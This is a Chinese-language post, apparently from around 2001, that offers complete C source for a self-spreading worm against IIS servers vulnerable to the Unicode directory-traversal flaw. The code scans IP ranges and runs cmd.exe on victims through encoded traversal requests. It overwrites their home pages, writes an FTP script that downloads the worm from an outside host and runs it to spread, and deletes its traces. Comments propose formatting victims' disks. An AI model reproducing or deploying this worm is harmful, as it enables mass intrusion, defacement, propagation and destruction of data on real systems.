在5.1期间的中美黑客战中,红客联盟攻击的网站中,WINDOWS+IIS+UNICODE漏洞主机占90%。(美国的poizenBOx同样是利用这个UNICODE漏洞攻击我国的主机)
详细请见http://www.cnhonker.com/whatnew/data/20010418/214346.htm
下面是我和zhaowuqing写的一个利用该漏洞的蠕虫程序。跟LION蠕虫有些相象,都需要把自己寄存到某个FTP主机上、、、、、、
运行:直接运行(无参数)将扫描本机IP开始的100个主机,并修改首页、传播
带参数运行 :iis 202.97.233.0 202.97.233.254 这将扫描该IP段的主机并实施攻击。
下面贴源代码
file://Don't forget to link with wsock32.lib :-o
#include <windows.h>
#include <stdio.h>
file://定义常量
int num=0;
int ExeDirNum=0;
HANDLE hSemaphore=NULL;
MaxThread=100;//最大开100个线程扫描
file://下面定义漏洞数组
char *hole[]={"%c0%2f..%c0%2f..%c0%2f",
"%c0%af..%c0%af..%c0%af",
"%c1%1c..%c1%1c..%c1%1c",
"%c1%9c..%c1%9c..%c1%9c",
"%c0%2f..%c0%2f..%c0%2f",
"%c0%af",
"%c1%9c",
"%c1%pc",
"%c0%9v",
"%c0%qf",
"%c1%8s",
"%c1%1c",
"%c1%9c",
"%c1%af",
"%e0%80%af",
"%f0%80%80%af",
"%f8%80%80%80%af",
"%fc%80%80%80%80%af",
"%e0%80%af../..%e0%80%af../..%e0%80%af",
"%e0%80%af..%e0%80%af..%e0%80%af",
"%c1%1c../..%c1%1c../..%c1%1c",
"%e0%80%af../..%e0%80%af../..%e0%80%af",
"%e0%80%af..%e0%80%af..%e0%80%af","%c1%1c../..%c1%1c../..%c1%1c",
"%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af",
"%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af",
"%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c"};
file://下面7个漏洞出现的目录,可以自己定义更多,但务必修改后改下面的for循环数字
char *ExeDirs[7]={"scripts","msadc","cgi-bin","_vti_bin","_vti_bin/msadc","scripts/msadc","IISADMPWD"};
file://声明函数
long GetLocalIP(void);//获得本机IP
DWORD WINAPI FindExeDir(LPVOID lp);//找到可执行目录
char *GetData(int SockFD);//获取SEND返回的数据
char * find(const char*pszSource,const char * pszKey);//在返回数据中查找指定字符串
char *localpath;//system32的路径
char *exedir;//脚本路径
char* WebPath;//首页所存放的路径
file://程序入口
int main(int argc, char **argv)
{
HANDLE hThread=NULL;
DWORD dwThreadID;
long PreviousCount;
int i;
int StartNet;
int StopNet;
int StartHost;//IP段开始
int StopHost;//IP段结束
WSADATA wsaData;
struct in_addr host;
WSAStartup(0x202, &wsaData );
if(argc<2)//无参数运行的时候扫描本机IP开始的100个主机
{
StartNet=GetLocalIP();
StopNet=GetLocalIP()+100;
}
else//参数iis 202.97.56.3 202.97.56.254这种方式,取参数作为IP段
{
StartNet=inet_addr(argv[1]);
StopNet=inet_addr(argv[2]);
}
StartHost=ntohl(StartNet);
StopHost=ntohl(StopNet);
WSACleanup();
do
{
host.S_un.S_addr = inet_addr(argv[1]);
WSAStartup(0x202, &wsaData );
hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore failed:%d",GetLastError());
}
for(i=StartHost;i<=StopHost;i++)
{
hThread=CreateThread(NULL,0,FindExeDir,(LPVOID)i,0,&dwThreadID);
if(hThread==NULL)
{
printf("\nCreate thread failed:%d",GetLastError());
break;
}
printf(".");
Sleep(10);
CloseHandle(hThread);
WaitForSingleObject(hSemaphore,INFINITE);
}
while(1)
{
WaitForSingleObject(hSemaphore,INFINITE);
if(!ReleaseSemaphore(hSemaphore,1,&PreviousCount))
{
printf("\nmain() ReleaseSemaphore failed:%d",GetLastError());
Sleep(5000);
break;
}
if(PreviousCount==(MaxThread-1))
{
printf("\nAll done.");
break;
}
Sleep(500);
}
printf("发现可执行目录. [%s]\n", exedir);
printf("可执行目录是 [%s]\n",localpath);
CloseHandle(hSemaphore);
WSACleanup();
}
while(argc<2);//无参数运行,既在被黑主机上运行,死循环
return 0;
}
long GetLocalIP(void)
{
char szName[128];
int i;
PHOSTENT pHost;
gethostname(szName, 128);
printf("%s\n",szName);
pHost = gethostbyname(szName);
if( NULL == pHost )// failed
return 0;
for(i=0;pHost->h_addr_list[i]!=NULL;i++)
printf("%s\n",inet_ntoa(*((struct in_addr *)pHost->h_addr_list[i])));
return inet_addr(inet_ntoa(*((struct in_addr *)pHost->h_addr_list[i-1])));
}
DWORD WINAPI FindExeDir(LPVOID lp)
{
int host=(int)lp;
u_short port=80;
int SockFD,i;
struct sockaddr_in DstSAin;
char waste[500],uniwaste[500];
char *buffer,*p;
char space[3];
char dletter[2];//磁盘路径
char asc[3];
int rbytes=0,loc1=0,loc2=0;
char locdir[300];
int exenum=0;
crack:
memset(locdir,0,300);
memset(uniwaste,0,499);
memset(space,0,3);
strcpy(space,"%20");
memset(asc,0,3);
strcpy(asc,"%3E");
printf("查找漏洞%d...\n",host);
for(i=0;i<8;i++)
{
strcat(uniwaste,"..");
strcat(uniwaste,hole[num]); file://把unicode码和URL结合起来.
}
memset(waste,0,500);
file://create our string that sees if we can execute cmd.exe
file://that way we know if a directory is executable and if the exe dir is on the same harddrive as cmd.exe
sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%sdir HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("Trying directory [%s]\n", waste);
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Directory of"); file://找到了cmd.exe的目录!!!
if(p!=NULL)
{
loc1=p-buffer+1;
p=strstr(buffer,"<DIR>");
if(p!=NULL)
{
loc2=p-buffer+1;
loc2=loc2-27;
buffer[loc2-2]='\0';
strncpy(locdir,buffer+loc1+12,290);
file://Set executable directory.
exedir=malloc(strlen(ExeDirs[exenum])+1);
memset(exedir,0,strlen(ExeDirs[exenum])+1);
memcpy(exedir,ExeDirs[exenum],strlen(ExeDirs[exenum]));
file://Set executable directory path
localpath=malloc(strlen(locdir)+1);
memset(localpath,0,strlen(locdir)+1);
memcpy(localpath,locdir,strlen(locdir));
closesocket(SockFD);
file://查询首页位置
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%sset HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
WebPath=find(buffer,"PATH_TRANSLATED=");//上面通过cmd.exe?/c set命令显示主机配置
file://从中找到WEB目录,用来修改首页
closesocket(SockFD);
strncpy(dletter,localpath,1);
dletter[1]='\0';
printf("首页路径%s\n",WebPath);
}
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+哑哑呀哑哑呀哑哑呀哑哑呀default.asp>+%s\\default.asp HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,WebPath);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("修改首页default.asp \n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Access is denied");
if(p!=NULL)
{
printf("Access is denied");
}
closesocket(SockFD);
}
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+哑哑呀哑哑呀哑哑呀哑哑呀index.asp>+%s\\index.asp HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,WebPath);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("修改首页index.asp \n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Access is denied");
if(p!=NULL)
{
printf("不能修改,文件属性有问题");
}
closesocket(SockFD);
}
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+哑哑呀哑哑呀哑哑呀哑哑呀index.html>+%s\\index.html HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,WebPath);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("修改首页index.html \n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Access is denied");
if(p=NULL)
{
printf("不能修改,文件属性有问题");
}
closesocket(SockFD);
}
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+哑哑呀哑哑呀哑哑呀哑哑呀和~~~default.htm>+%s\\default.htm HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,WebPath);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("修改首页default.htm \n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Access is denied");
if(p!=NULL)
{
printf("不能修改,文件属性有问题");
}
closesocket(SockFD);
}
file://连接到FTP主机
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+open+home4u.china.com>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("连接到FTP主机 \n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Access is denied");
if(p!=NULL)
{
printf("system32不允许写操作");
}
closesocket(SockFD);
}
file://user 登陆
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+111222>>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("登陆USER:111222\n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Access is denied");
if(p!=NULL)
{
printf("system32不允许写操作");
}
closesocket(SockFD);
}
file://密码输入
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+mmipip>>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("密码:mmipip \n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Access is denied");
if(p!=NULL)
{
printf("system32不允许写操作");
}
closesocket(SockFD);
}
file://GET FILE
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+get+srv.exe>>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("下载srv.exe \n");//把自己下载到漏洞主机运行
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Access is denied");
if(p!=NULL)
{
printf("system32不允许写操作");
}
closesocket(SockFD);
}
file://退出ftp主机
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+quit>>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("退出FTP主机 \n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"Access is denied");
if(p!=NULL)
{
printf("system32不允许写操作");
}
closesocket(SockFD);
}
file://开始FTP
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%sftp+-s:up.txt>>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("服务器下载文件 \n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"CGI Error");
if(p!=NULL)
{
printf("FTP结束");
}
closesocket(SockFD);
}
file://删除del.txt避免在主机上留有FTP信息
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%sdel+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("删除FTP痕迹 \n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"access is");
if(p!=NULL)
{
printf("删除失败");
}
closesocket(SockFD);
}
memset(waste,0,500);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.S_un.S_addr=htonl(host);
sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%ssrv.exe HTTP/1.0\n\n",ExeDirs[exenum],uniwaste);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
printf("在主机上运行自己 \n");
send(SockFD,waste,strlen(waste),0); file://try one of the directories
buffer=GetData(SockFD);
p=strstr(buffer,"CGI Error");
if(p!=NULL)
{
printf("运行成功");//此时存在漏洞的主机开始扫描自己IP段附近的漏洞主机
}
closesocket(SockFD);
}
}
}
if(num<23)//循环尝试漏洞编码
{ num++;
closesocket(SockFD);
goto crack;
}
else
{
if(exenum<6)//遍历各个目录
{
num=0;
exenum++;
ExeDirNum=exenum;
closesocket(SockFD);
goto crack;
}
closesocket(SockFD);
}
printf("扫描全部结束,在此应该进行破坏性操作...\n");
file://可选办法,在目标主机上的autoexec.bat里加上格式化硬盘命令
file://然后执行ExitSystem(1);使主机重新启动
file://重新启动后格式化硬盘
}
return 0;
}
file://在返回的数据中查找指定信息
char* find(const char*pszSource,const char* pszKey)
{
static char szBuffer[2049];
const char * p;
const char * q;
p = q = NULL;
p = strstr(pszSource,pszKey);
if ( p != NULL )
{
p += strlen(pszKey);
q = strstr(p,"\r\n");
if ( q == NULL )
q = p + strlen(p);
strncpy(szBuffer,p,q-p);
return szBuffer;
}
return NULL;
}
char *GetData(int SockFD)
{
file://get data without a blocking recv so we dont hang if we crash the server
char *buffer;
char data[2001];
unsigned long on=1;
unsigned long off=0;
char waste[2001];
int p, i=1;
int t;
memset(data,0,2001);
p=ioctlsocket(SockFD,FIONBIO,&on);
memset(waste,0,2001);
for(t=1;t<10;t++){
i=recv(SockFD, waste, 2000, 0);
if(i>0)
break;
Sleep(500);
}
waste[i]='\0';
strncat(data,waste,2000);
buffer = ( char * )malloc( 2000 * sizeof( char ) );
strncpy( buffer, data, 2000 );
return buffer;
}